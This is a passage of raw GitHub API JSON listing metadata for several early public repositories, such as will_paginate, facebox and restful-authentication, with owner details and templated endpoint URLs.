EventMachine","fork":false,"url":"https://api.github.com/repos/jicksta/ami-ragel","forks_url":"https://api.github.com/repos/jicksta/ami-ragel/forks","keys_url":"https://api.github.com/repos/jicksta/ami-ragel/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jicksta/ami-ragel/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jicksta/ami-ragel/teams","hooks_url":"https://api.github.com/repos/jicksta/ami-ragel/hooks","issue_events_url":"https://api.github.com/repos/jicksta/ami-ragel/issues/events{/number}","events_url":"https://api.github.com/repos/jicksta/ami-ragel/events","assignees_url":"https://api.github.com/repos/jicksta/ami-ragel/assignees{/user}","branches_url":"https://api.github.com/repos/jicksta/ami-ragel/branches{/branch}","tags_url":"https://api.github.com/repos/jicksta/ami-ragel/tags","blobs_url":"https://api.github.com/repos/jicksta/ami-ragel/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jicksta/ami-ragel/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jicksta/ami-ragel/git/refs{/sha}","trees_url":"https://api.github.com/repos/jicksta/ami-ragel/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jicksta/ami-ragel/statuses/{sha}","languages_url":"https://api.github.com/repos/jicksta/ami-ragel/languages","stargazers_url":"https://api.github.com/repos/jicksta/ami-ragel/stargazers","contributors_url":"https://api.github.com/repos/jicksta/ami-ragel/contributors","subscribers_url":"https://api.github.com/repos/jicksta/ami-ragel/subscribers","subscription_url":"https://api.github.com/repos/jicksta/ami-ragel/subscription","commits_url":"https://api.github.com/repos/jicksta/ami-ragel/commits{/sha}","git_commits_url":"https://api.github.com/repos/jicksta/ami-ragel/git/commits{/sha}","comments_url":"https://api.github.com/repos/jicksta/ami-ragel/comments{/number}","issue_comment_url":"https://api.github.com/repos/jicksta/ami-ragel/issues/comments/{number}","contents_url":"https://api.github.com/repos/jicksta/ami-ragel/contents/{+path}","compare_url":"https://api.github.com/repos/jicksta/ami-ragel/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jicksta/ami-ragel/merges","archive_url":"https://api.github.com/repos/jicksta/ami-ragel/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jicksta/ami-ragel/downloads","issues_url":"https://api.github.com/repos/jicksta/ami-ragel/issues{/number}","pulls_url":"https://api.github.com/repos/jicksta/ami-ragel/pulls{/number}","milestones_url":"https://api.github.com/repos/jicksta/ami-ragel/milestones{/number}","notifications_url":"https://api.github.com/repos/jicksta/ami-ragel/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jicksta/ami-ragel/labels{/name}"},{"id":1196,"name":"test","full_name":"weepy/test","owner":{"login":"weepy","id":820,"avatar_url":"https://0.gravatar.com/avatar/fccf42643feb2aaf9e6b4bfce0d737cc?d=https%3A%2F%2Fidenticons.github.com%2Fe2a2dcc36a08a345332c751b2f2e476c.png","gravatar_id":"fccf42643feb2aaf9e6b4bfce0d737cc","url":"https://api.github.com/users/weepy","html_url":"https://github.com/weepy","followers_url":"https://api.github.com/users/weepy/followers","following_url":"https://api.github.com/users/weepy/following{/other_user}","gists_url":"https://api.github.com/users/weepy/gists{/gist_id}","starred_url":"https://api.github.com/users/weepy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/weepy/subscriptions","organizations_url":"https://api.github.com/users/weepy/orgs","repos_url":"https://api.github.com/users/weepy/repos","events_url":"https://api.github.com/users/weepy/events{/privacy}","received_events_url":"https://api.github.com/users/weepy/received_events","type":"User"},"private":false,"html_url":"https://github.com/weepy/test","description":"test","fork":false,"url":"https://api.github.com/repos/weepy/test","forks_url":"https://api.github.com/repos/weepy/test/forks","keys_url":"https://api.github.com/repos/weepy/test/keys{/key_id}","collaborators_url":"https://api.github.com/repos/weepy/test/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/weepy/test/teams","hooks_url":"https://api.github.com/repos/weepy/test/hooks","issue_events_url":"https://api.github.com/repos/weepy/test/issues/events{/number}","events_url":"https://api.github.com/repos/weepy/test/events","assignees_url":"https://api.github.com/repos/weepy/test/assignees{/user}","branches_url":"https://api.github.com/repos/weepy/test/branches{/branch}","tags_url":"https://api.github.com/repos/weepy/test/tags","blobs_url":"https://api.github.com/repos/weepy/test/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/weepy/test/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/weepy/test/git/refs{/sha}","trees_url":"https://api.github.com/repos/weepy/test/git/trees{/sha}","statuses_url":"https://api.github.com/repos/weepy/test/statuses/{sha}","languages_url":"https://api.github.com/repos/weepy/test/languages","stargazers_url":"https://api.github.com/repos/weepy/test/stargazers","contributors_url":"https://api.github.com/repos/weepy/test/contributors","subscribers_url":"https://api.github.com/repos/weepy/test/subscribers","subscription_url":"https://api.github.com/repos/weepy/test/subscription","commits_url":"https://api.github.com/repos/weepy/test/commits{/sha}","git_commits_url":"https://api.github.com/repos/weepy/test/git/commits{/sha}","comments_url":"https://api.github.com/repos/weepy/test/comments{/number}","issue_comment_url":"https://api.github.com/repos/weepy/test/issues/comments/{number}","contents_url":"https://api.github.com/repos/weepy/test/contents/{+path}","compare_url":"https://api.github.com/repos/weepy/test/compare/{base}...{head}","merges_url":"https://api.github.com/repos/weepy/test/merges","archive_url":"https://api.github.com/repos/weepy/test/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/weepy/test/downloads","issues_url":"https://api.github.com/repos/weepy/test/issues{/number}","pulls_url":"https://api.github.com/repos/weepy/test/pulls{/number}","milestones_url":"https://api.github.com/repos/weepy/test/milestones{/number}","notifications_url":"https://api.github.com/repos/weepy/test/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/weepy/test/labels{/name}"},{"id":1208,"name":"hydrate","full_name":"olivM/hydrate","owner":{"login":"olivM","id":855,"avatar_url":"https://2.gravatar.com/avatar/0d4a250c55cc214768d6544ea43dc21f?d=https%3A%2F%2Fidenticons.github.com%2Faddfa9b7e234254d26e9c7f2af1005cb.png","gravatar_id":"0d4a250c55cc214768d6544ea43dc21f","url":"https://api.github.com/users/olivM","html_url":"https://github.com/olivM","followers_url":"https://api.github.com/users/olivM/followers","following_url":"https://api.github.com/users/olivM/following{/other_user}","gists_url":"https://api.github.com/users/olivM/gists{/gist_id}","starred_url":"https://api.github.com/users/olivM/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olivM/subscriptions","organizations_url":"https://api.github.com/users/olivM/orgs","repos_url":"https://api.github.com/users/olivM/repos","events_url":"https://api.github.com/users/olivM/events{/privacy}","received_events_url":"https://api.github.com/users/olivM/received_events","type":"User"},"private":false,"html_url":"https://github.com/olivM/hydrate","description":"a blog hub (a daemon that aggregate items and re-publish them on differents platforms) : an attempt for a one4all blogging system","fork":false,"url":"https://api.github.com/repos/olivM/hydrate","forks_url":"https://api.github.com/repos/olivM/hydrate/forks","keys_url":"https://api.github.com/repos/olivM/hydrate/keys{/key_id}","collaborators_url":"https://api.github.com/repos/olivM/hydrate/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/olivM/hydrate/teams","hooks_url":"https://api.github.com/repos/olivM/hydrate/hooks","issue_events_url":"https://api.github.com/repos/olivM/hydrate/issues/events{/number}","events_url":"https://api.github.com/repos/olivM/hydrate/events","assignees_url":"https://api.github.com/repos/olivM/hydrate/assignees{/user}","branches_url":"https://api.github.com/repos/olivM/hydrate/branches{/branch}","tags_url":"https://api.github.com/repos/olivM/hydrate/tags","blobs_url":"https://api.github.com/repos/olivM/hydrate/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/olivM/hydrate/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/olivM/hydrate/git/refs{/sha}","trees_url":"https://api.github.com/repos/olivM/hydrate/git/trees{/sha}","statuses_url":"https://api.github.com/repos/olivM/hydrate/statuses/{sha}","languages_url":"https://api.github.com/repos/olivM/hydrate/languages","stargazers_url":"https://api.github.com/repos/olivM/hydrate/stargazers","contributors_url":"https://api.github.com/repos/olivM/hydrate/contributors","subscribers_url":"https://api.github.com/repos/olivM/hydrate/subscribers","subscription_url":"https://api.github.com/repos/olivM/hydrate/subscription","commits_url":"https://api.github.com/repos/olivM/hydrate/commits{/sha}","git_commits_url":"https://api.github.com/repos/olivM/hydrate/git/commits{/sha}","comments_url":"https://api.github.com/repos/olivM/hydrate/comments{/number}","issue_comment_url":"https://api.github.com/repos/olivM/hydrate/issues/comments/{number}","contents_url":"https://api.github.com/repos/olivM/hydrate/contents/{+path}","compare_url":"https://api.github.com/repos/olivM/hydrate/compare/{base}...{head}","merges_url":"https://api.github.com/repos/olivM/hydrate/merges","archive_url":"https://api.github.com/repos/olivM/hydrate/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/olivM/hydrate/downloads","issues_url":"https://api.github.com/repos/olivM/hydrate/issues{/number}","pulls_url":"https://api.github.com/repos/olivM/hydrate/pulls{/number}","milestones_url":"https://api.github.com/repos/olivM/hydrate/milestones{/number}","notifications_url":"https://api.github.com/repos/olivM/hydrate/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/olivM/hydrate/labels{/name}"},{"id":1212,"name":"pmpknpi","full_name":"sintaxi/pmpknpi","owner":{"login":"sintaxi","id":867,"avatar_url":"https://0.gravatar.com/avatar/bcf46750ba13cf50684639eecda1aa4f?d=https%3A%2F%2Fidenticons.github.com%2Fede7e2b6d13a41ddf9f4bdef84fdc737.png","gravatar_id":"bcf46750ba13cf50684639eecda1aa4f","url":"https://api.github.com/users/sintaxi","html_url":"https://github.com/sintaxi","followers_url":"https://api.github.com/users/sintaxi/followers","following_url":"https://api.github.com/users/sintaxi/following{/other_user}","gists_url":"https://api.github.com/users/sintaxi/gists{/gist_id}","starred_url":"https://api.github.com/users/sintaxi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sintaxi/subscriptions","organizations_url":"https://api.github.com/users/sintaxi/orgs","repos_url":"https://api.github.com/users/sintaxi/repos","events_url":"https://api.github.com/users/sintaxi/events{/privacy}","received_events_url":"https://api.github.com/users/sintaxi/received_events","type":"User"},"private":false,"html_url":"https://github.com/sintaxi/pmpknpi","description":"A RESTful Blog API written in Merb","fork":false,"url":"https://api.github.com/repos/sintaxi/pmpknpi","forks_url":"https://api.github.com/repos/sintaxi/pmpknpi/forks","keys_url":"https://api.github.com/repos/sintaxi/pmpknpi/keys{/key_id}","collaborators_url":"https://api.github.com/repos/sintaxi/pmpknpi/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/sintaxi/pmpknpi/teams","hooks_url":"https://api.github.com/repos/sintaxi/pmpknpi/hooks","issue_events_url":"https://api.github.com/repos/sintaxi/pmpknpi/issues/events{/number}","events_url":"https://api.github.com/repos/sintaxi/pmpknpi/events","assignees_url":"https://api.github.com/repos/sintaxi/pmpknpi/assignees{/user}","branches_url":"https://api.github.com/repos/sintaxi/pmpknpi/branches{/branch}","tags_url":"https://api.github.com/repos/sintaxi/pmpknpi/tags","blobs_url":"https://api.github.com/repos/sintaxi/pmpknpi/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/sintaxi/pmpknpi/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/sintaxi/pmpknpi/git/refs{/sha}","trees_url":"https://api.github.com/repos/sintaxi/pmpknpi/git/trees{/sha}","statuses_url":"https://api.github.com/repos/sintaxi/pmpknpi/statuses/{sha}","languages_url":"https://api.github.com/repos/sintaxi/pmpknpi/languages","stargazers_url":"https://api.github.com/repos/sintaxi/pmpknpi/stargazers","contributors_url":"https://api.github.com/repos/sintaxi/pmpknpi/contributors","subscribers_url":"https://api.github.com/repos/sintaxi/pmpknpi/subscribers","subscription_url":"https://api.github.com/repos/sintaxi/pmpknpi/subscription","commits_url":"https://api.github.com/repos/sintaxi/pmpknpi/commits{/sha}","git_commits_url":"https://api.github.com/repos/sintaxi/pmpknpi/git/commits{/sha}","comments_url":"https://api.github.com/repos/sintaxi/pmpknpi/comments{/number}","issue_comment_url":"https://api.github.com/repos/sintaxi/pmpknpi/issues/comments/{number}","contents_url":"https://api.github.com/repos/sintaxi/pmpknpi/contents/{+path}","compare_url":"https://api.github.com/repos/sintaxi/pmpknpi/compare/{base}...{head}","merges_url":"https://api.github.com/repos/sintaxi/pmpknpi/merges","archive_url":"https://api.github.com/repos/sintaxi/pmpknpi/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/sintaxi/pmpknpi/downloads","issues_url":"https://api.github.com/repos/sintaxi/pmpknpi/issues{/number}","pulls_url":"https://api.github.com/repos/sintaxi/pmpknpi/pulls{/number}","milestones_url":"https://api.github.com/repos/sintaxi/pmpknpi/milestones{/number}","notifications_url":"https://api.github.com/repos/sintaxi/pmpknpi/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/sintaxi/pmpknpi/labels{/name}"},{"id":1213,"name":"restful-authentication","full_name":"rmanalan/restful-authentication","owner":{"login":"rmanalan","id":549,"avatar_url":"https://0.gravatar.com/avatar/78c939ec0390fe89d78cdbf85e8e6856?d=https%3A%2F%2Fidenticons.github.com%2Fccb1d45fb76f7c5a0bf619f979c6cf36.png","gravatar_id":"78c939ec0390fe89d78cdbf85e8e6856","url":"https://api.github.com/users/rmanalan","html_url":"https://github.com/rmanalan","followers_url":"https://api.github.com/users/rmanalan/followers","following_url":"https://api.github.com/users/rmanalan/following{/other_user}","gists_url":"https://api.github.com/users/rmanalan/gists{/gist_id}","starred_url":"https://api.github.com/users/rmanalan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rmanalan/subscriptions","organizations_url":"https://api.github.com/users/rmanalan/orgs","repos_url":"https://api.github.com/users/rmanalan/repos","events_url":"https://api.github.com/users/rmanalan/events{/privacy}","received_events_url":"https://api.github.com/users/rmanalan/received_events","type":"User"},"private":false,"html_url":"https://github.com/rmanalan/restful-authentication","description":"Generates common user authentication code for Rails/Merb, with a full test/unit and rspec suite and optional Acts as State Machine support built-in. Added support for Oracle SSO authentication.","fork":true,"url":"https://api.github.com/repos/rmanalan/restful-authentication","forks_url":"https://api.github.com/repos/rmanalan/restful-authentication/forks","keys_url":"https://api.github.com/repos/rmanalan/restful-authentication/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rmanalan/restful-authentication/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rmanalan/restful-authentication/teams","hooks_url":"https://api.github.com/repos/rmanalan/restful-authentication/hooks","issue_events_url":"https://api.github.com/repos/rmanalan/restful-authentication/issues/events{/number}","events_url":"https://api.github.com/repos/rmanalan/restful-authentication/events","assignees_url":"https://api.github.com/repos/rmanalan/restful-authentication/assignees{/user}","branches_url":"https://api.github.com/repos/rmanalan/restful-authentication/branches{/branch}","tags_url":"https://api.github.com/repos/rmanalan/restful-authentication/tags","blobs_url":"https://api.github.com/repos/rmanalan/restful-authentication/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rmanalan/restful-authentication/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rmanalan/restful-authentication/git/refs{/sha}","trees_url":"https://api.github.com/repos/rmanalan/restful-authentication/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rmanalan/restful-authentication/statuses/{sha}","languages_url":"https://api.github.com/repos/rmanalan/restful-authentication/languages","stargazers_url":"https://api.github.com/repos/rmanalan/restful-authentication/stargazers","contributors_url":"https://api.github.com/repos/rmanalan/restful-authentication/contributors","subscribers_url":"https://api.github.com/repos/rmanalan/restful-authentication/subscribers","subscription_url":"https://api.github.com/repos/rmanalan/restful-authentication/subscription","commits_url":"https://api.github.com/repos/rmanalan/restful-authentication/commits{/sha}","git_commits_url":"https://api.github.com/repos/rmanalan/restful-authentication/git/commits{/sha}","comments_url":"https://api.github.com/repos/rmanalan/restful-authentication/comments{/number}","issue_comment_url":"https://api.github.com/repos/rmanalan/restful-authentication/issues/comments/{number}","contents_url":"https://api.github.com/repos/rmanalan/restful-authentication/contents/{+path}","compare_url":"https://api.github.com/repos/rmanalan/restful-authentication/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rmanalan/restful-authentication/merges","archive_url":"https://api.github.com/repos/rmanalan/restful-authentication/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rmanalan/restful-authentication/downloads","issues_url":"https://api.github.com/repos/rmanalan/restful-authentication/issues{/number}","pulls_url":"https://api.github.com/repos/rmanalan/restful-authentication/pulls{/number}","milestones_url":"https://api.github.com/repos/rmanalan/restful-authentication/milestones{/number}","notifications_url":"https://api.github.com/repos/rmanalan/restful-authentication/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rmanalan/restful-authentication/labels{/name}"},{"id":1217,"name":"facebox","full_name":"rmanalan/facebox","owner":{"login":"rmanalan","id":549,"avatar_url":"https://0.gravatar.com/avatar/78c939ec0390fe89d78cdbf85e8e6856?d=https%3A%2F%2Fidenticons.github.com%2Fccb1d45fb76f7c5a0bf619f979c6cf36.png","gravatar_id":"78c939ec0390fe89d78cdbf85e8e6856","url":"https://api.github.com/users/rmanalan","html_url":"https://github.com/rmanalan","followers_url":"https://api.github.com/users/rmanalan/followers","following_url":"https://api.github.com/users/rmanalan/following{/other_user}","gists_url":"https://api.github.com/users/rmanalan/gists{/gist_id}","starred_url":"https://api.github.com/users/rmanalan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rmanalan/subscriptions","organizations_url":"https://api.github.com/users/rmanalan/orgs","repos_url":"https://api.github.com/users/rmanalan/repos","events_url":"https://api.github.com/users/rmanalan/events{/privacy}","received_events_url":"https://api.github.com/users/rmanalan/received_events","type":"User"},"private":false,"html_url":"https://github.com/rmanalan/facebox","description":"Facebook-style lightbox, built in jQuery","fork":true,"url":"https://api.github.com/repos/rmanalan/facebox","forks_url":"https://api.github.com/repos/rmanalan/facebox/forks","keys_url":"https://api.github.com/repos/rmanalan/facebox/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rmanalan/facebox/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rmanalan/facebox/teams","hooks_url":"https://api.github.com/repos/rmanalan/facebox/hooks","issue_events_url":"https://api.github.com/repos/rmanalan/facebox/issues/events{/number}","events_url":"https://api.github.com/repos/rmanalan/facebox/events","assignees_url":"https://api.github.com/repos/rmanalan/facebox/assignees{/user}","branches_url":"https://api.github.com/repos/rmanalan/facebox/branches{/branch}","tags_url":"https://api.github.com/repos/rmanalan/facebox/tags","blobs_url":"https://api.github.com/repos/rmanalan/facebox/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rmanalan/facebox/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rmanalan/facebox/git/refs{/sha}","trees_url":"https://api.github.com/repos/rmanalan/facebox/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rmanalan/facebox/statuses/{sha}","languages_url":"https://api.github.com/repos/rmanalan/facebox/languages","stargazers_url":"https://api.github.com/repos/rmanalan/facebox/stargazers","contributors_url":"https://api.github.com/repos/rmanalan/facebox/contributors","subscribers_url":"https://api.github.com/repos/rmanalan/facebox/subscribers","subscription_url":"https://api.github.com/repos/rmanalan/facebox/subscription","commits_url":"https://api.github.com/repos/rmanalan/facebox/commits{/sha}","git_commits_url":"https://api.github.com/repos/rmanalan/facebox/git/commits{/sha}","comments_url":"https://api.github.com/repos/rmanalan/facebox/comments{/number}","issue_comment_url":"https://api.github.com/repos/rmanalan/facebox/issues/comments/{number}","contents_url":"https://api.github.com/repos/rmanalan/facebox/contents/{+path}","compare_url":"https://api.github.com/repos/rmanalan/facebox/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rmanalan/facebox/merges","archive_url":"https://api.github.com/repos/rmanalan/facebox/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rmanalan/facebox/downloads","issues_url":"https://api.github.com/repos/rmanalan/facebox/issues{/number}","pulls_url":"https://api.github.com/repos/rmanalan/facebox/pulls{/number}","milestones_url":"https://api.github.com/repos/rmanalan/facebox/milestones{/number}","notifications_url":"https://api.github.com/repos/rmanalan/facebox/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rmanalan/facebox/labels{/name}"},{"id":1220,"name":"gcbot","full_name":"halorgium/gcbot","owner":{"login":"halorgium","id":263,"avatar_url":"https://1.gravatar.com/avatar/3200c5348a7c08c2f20fdaceac6804b0?d=https%3A%2F%2Fidenticons.github.com%2F8c19f571e251e61cb8dd3612f26d5ecf.png","gravatar_id":"3200c5348a7c08c2f20fdaceac6804b0","url":"https://api.github.com/users/halorgium","html_url":"https://github.com/halorgium","followers_url":"https://api.github.com/users/halorgium/followers","following_url":"https://api.github.com/users/halorgium/following{/other_user}","gists_url":"https://api.github.com/users/halorgium/gists{/gist_id}","starred_url":"https://api.github.com/users/halorgium/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/halorgium/subscriptions","organizations_url":"https://api.github.com/users/halorgium/orgs","repos_url":"https://api.github.com/users/halorgium/repos","events_url":"https://api.github.com/users/halorgium/events{/privacy}","received_events_url":"https://api.github.com/users/halorgium/received_events","type":"User"},"private":false,"html_url":"https://github.com/halorgium/gcbot","description":"","fork":false,"url":"https://api.github.com/repos/halorgium/gcbot","forks_url":"https://api.github.com/repos/halorgium/gcbot/forks","keys_url":"https://api.github.com/repos/halorgium/gcbot/keys{/key_id}","collaborators_url":"https://api.github.com/repos/halorgium/gcbot/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/halorgium/gcbot/teams","hooks_url":"https://api.github.com/repos/halorgium/gcbot/hooks","issue_events_url":"https://api.github.com/repos/halorgium/gcbot/issues/events{/number}","events_url":"https://api.github.com/repos/halorgium/gcbot/events","assignees_url":"https://api.github.com/repos/halorgium/gcbot/assignees{/user}","branches_url":"https://api.github.com/repos/halorgium/gcbot/branches{/branch}","tags_url":"https://api.github.com/repos/halorgium/gcbot/tags","blobs_url":"https://api.github.com/repos/halorgium/gcbot/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/halorgium/gcbot/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/halorgium/gcbot/git/refs{/sha}","trees_url":"https://api.github.com/repos/halorgium/gcbot/git/trees{/sha}","statuses_url":"https://api.github.com/repos/halorgium/gcbot/statuses/{sha}","languages_url":"https://api.github.com/repos/halorgium/gcbot/languages","stargazers_url":"https://api.github.com/repos/halorgium/gcbot/stargazers","contributors_url":"https://api.github.com/repos/halorgium/gcbot/contributors","subscribers_url":"https://api.github.com/repos/halorgium/gcbot/subscribers","subscription_url":"https://api.github.com/repos/halorgium/gcbot/subscription","commits_url":"https://api.github.com/repos/halorgium/gcbot/commits{/sha}","git_commits_url":"https://api.github.com/repos/halorgium/gcbot/git/commits{/sha}","comments_url":"https://api.github.com/repos/halorgium/gcbot/comments{/number}","issue_comment_url":"https://api.github.com/repos/halorgium/gcbot/issues/comments/{number}","contents_url":"https://api.github.com/repos/halorgium/gcbot/contents/{+path}","compare_url":"https://api.github.com/repos/halorgium/gcbot/compare/{base}...{head}","merges_url":"https://api.github.com/repos/halorgium/gcbot/merges","archive_url":"https://api.github.com/repos/halorgium/gcbot/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/halorgium/gcbot/downloads","issues_url":"https://api.github.com/repos/halorgium/gcbot/issues{/number}","pulls_url":"https://api.github.com/repos/halorgium/gcbot/pulls{/number}","milestones_url":"https://api.github.com/repos/halorgium/gcbot/milestones{/number}","notifications_url":"https://api.github.com/repos/halorgium/gcbot/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/halorgium/gcbot/labels{/name}"},{"id":1227,"name":"will_paginate","full_name":"mislav/will_paginate","owner":{"login":"mislav","id":887,"avatar_url":"https://0.gravatar.com/avatar/8f93a872e399bc1353cc8d4e791d5401?d=https%3A%2F%2Fidenticons.github.com%2F7ce3284b743aefde80ffd9aec500e085.png","gravatar_id":"8f93a872e399bc1353cc8d4e791d5401","url":"https://api.github.com/users/mislav","html_url":"https://github.com/mislav","followers_url":"https://api.github.com/users/mislav/followers","following_url":"https://api.github.com/users/mislav/following{/other_user}","gists_url":"https://api.github.com/users/mislav/gists{/gist_id}","starred_url":"https://api.github.com/users/mislav/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mislav/subscriptions","organizations_url":"https://api.github.com/users/mislav/orgs","repos_url":"https://api.github.com/users/mislav/repos","events_url":"https://api.github.com/users/mislav/events{/privacy}","received_events_url":"https://api.github.com/users/mislav/received_events","type":"User"},"private":false,"html_url":"https://github.com/mislav/will_paginate","description":"Pagination library for Rails 3, Sinatra, Merb, DataMapper, and more","fork":false,"url":"https://api.github.com/repos/mislav/will_paginate","forks_url":"https://api.github.com/repos/mislav/will_paginate/forks","keys_url":"https://api.github.com/repos/mislav/will_paginate/keys{/key_id}","collaborators_url":"https://api.github.com/repos/mislav/will_paginate/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/mislav/will_paginate/teams","hooks_url":"https://api.github.com/repos/mislav/will_paginate/hooks","issue_events_url":"https://api.github.com/repos/mislav/will_paginate/issues/events{/number}","events_url":"https://api.github.com/repos/mislav/will_paginate/events","assignees_url":"https://api.github.com/repos/mislav/will_paginate/assignees{/user}","branches_url":"https://api.github.com/repos/mislav/will_paginate/branches{/branch}","tags_url":"https://api.github.com/repos/mislav/will_paginate/tags","blobs_url":"https://api.github.com/repos/mislav/will_paginate/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/mislav/will_paginate/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/mislav/will_paginate/git/refs{/sha}","trees_url":"https://api.github.com/repos/mislav/will_paginate/git/trees{/sha}","statuses_url":"https://api.github.com/repos/mislav/will_paginate/statuses/{sha}","languages_url":"https://api.github.com/repos/mislav/will_paginate/languages","stargazers_url":"https://api.github.com/repos/mislav/will_paginate/stargazers","contributors_url":"https://api.github.com/repos/mislav/will_paginate/contributors","subscribers_url":"https://api.github.com/repos/mislav/will_paginate/subscribers","subscription_url":"https://api.github.com/repos/mislav/will_paginate/subscription","commits_url":"https://api.github.com/repos/mislav/will_paginate/commits{/sha}","git_commits_url":"https://api.github.com/repos/mislav/will_paginate/git/commits{/sha}","comments_url":"https://api.github.com/repos/mislav/will_paginate/comments{/number}","issue_comment_url":"https://api.github.com/repos/mislav/will_paginate/issues/comments/{number}","contents_url":"https://api.github.com/repos/mislav/will_paginate/contents/{+path}","compare_url":"https://api.github.com/repos/mislav/will_paginate/compare/{base}...{head}","merges_url":"https://api.github.com/repos/mislav/will_paginate/merges","archive_url":"https://api.github.com/repos/mislav/will_paginate/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/mislav/will_paginate/downloads","issues_url":"https://api.github.com/repos/mislav/will_paginate/issues{/number}","pulls_url":"https://api.github.com/repos/mislav/will_paginate/pulls{/number}","milestones_url":"https://api.github.com/repos/mislav/will_paginate/milestones{/number}","notifications_url":"https://api.github.com/repos/mislav/will_paginate/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/mislav/will_paginate/labels{/name}"},{"id":1233,"name":"socialgraph-viewer","full_name":"rmanalan/socialgraph-viewer","owner":{"login":"rmanalan","id":549,"avatar_url":"https://0.gravatar.com/avatar/78c939ec0390fe89d78cdbf85e8e6856?d=https%3A%2F%2Fidenticons.github.com%2Fccb1d45fb76f7c5a0bf619f979c6cf36.png","gravatar_id":"78c939ec0390fe89d78cdbf85e8e6856","url":"https://api.github.com/users/rmanalan","html_url":"https://github.com/rmanalan","followers_url":"https://api.github.com/users/rmanalan/followers","following_url":"https://api.github.com/users/rmanalan/following{/other_user}","gists_url":"https://api.github.com/users/rmanalan/gists{/gist_id}","starred_url":"https://api.github.com/users/rmanalan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rmanalan/subscriptions","organizations_url":"https://api.github.com/users/rmanalan/orgs","repos_url":"https://api.github.com/users/rmanalan/repos","events_url":"https://api.github.com/users/rmanalan/events{/privacy}","received_events_url":"https://api.github.com/users/rmanalan/received_events","type":"User"},"private":false,"html_url":"https://github.com/rmanalan/socialgraph-viewer","description":"Simple social graph javascript viewer. Uses the Google Social Graph API","fork":false,"url":"https://api.github.com/repos/rmanalan/socialgraph-viewer","forks_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/forks","keys_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/teams","hooks_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/hooks","issue_events_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/issues/events{/number}","events_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/events","assignees_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/assignees{/user}","branches_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/branches{/branch}","tags_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/tags","blobs_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/git/refs{/sha}","trees_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/statuses/{sha}","languages_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/languages","stargazers_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/stargazers","contributors_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/contributors","subscribers_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/subscribers","subscription_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/subscription","commits_url":"https://api.github.com/repos/rmanalan/socialgraph-viewer/commits{/sha}","git_commits_url":"https://api.github.com/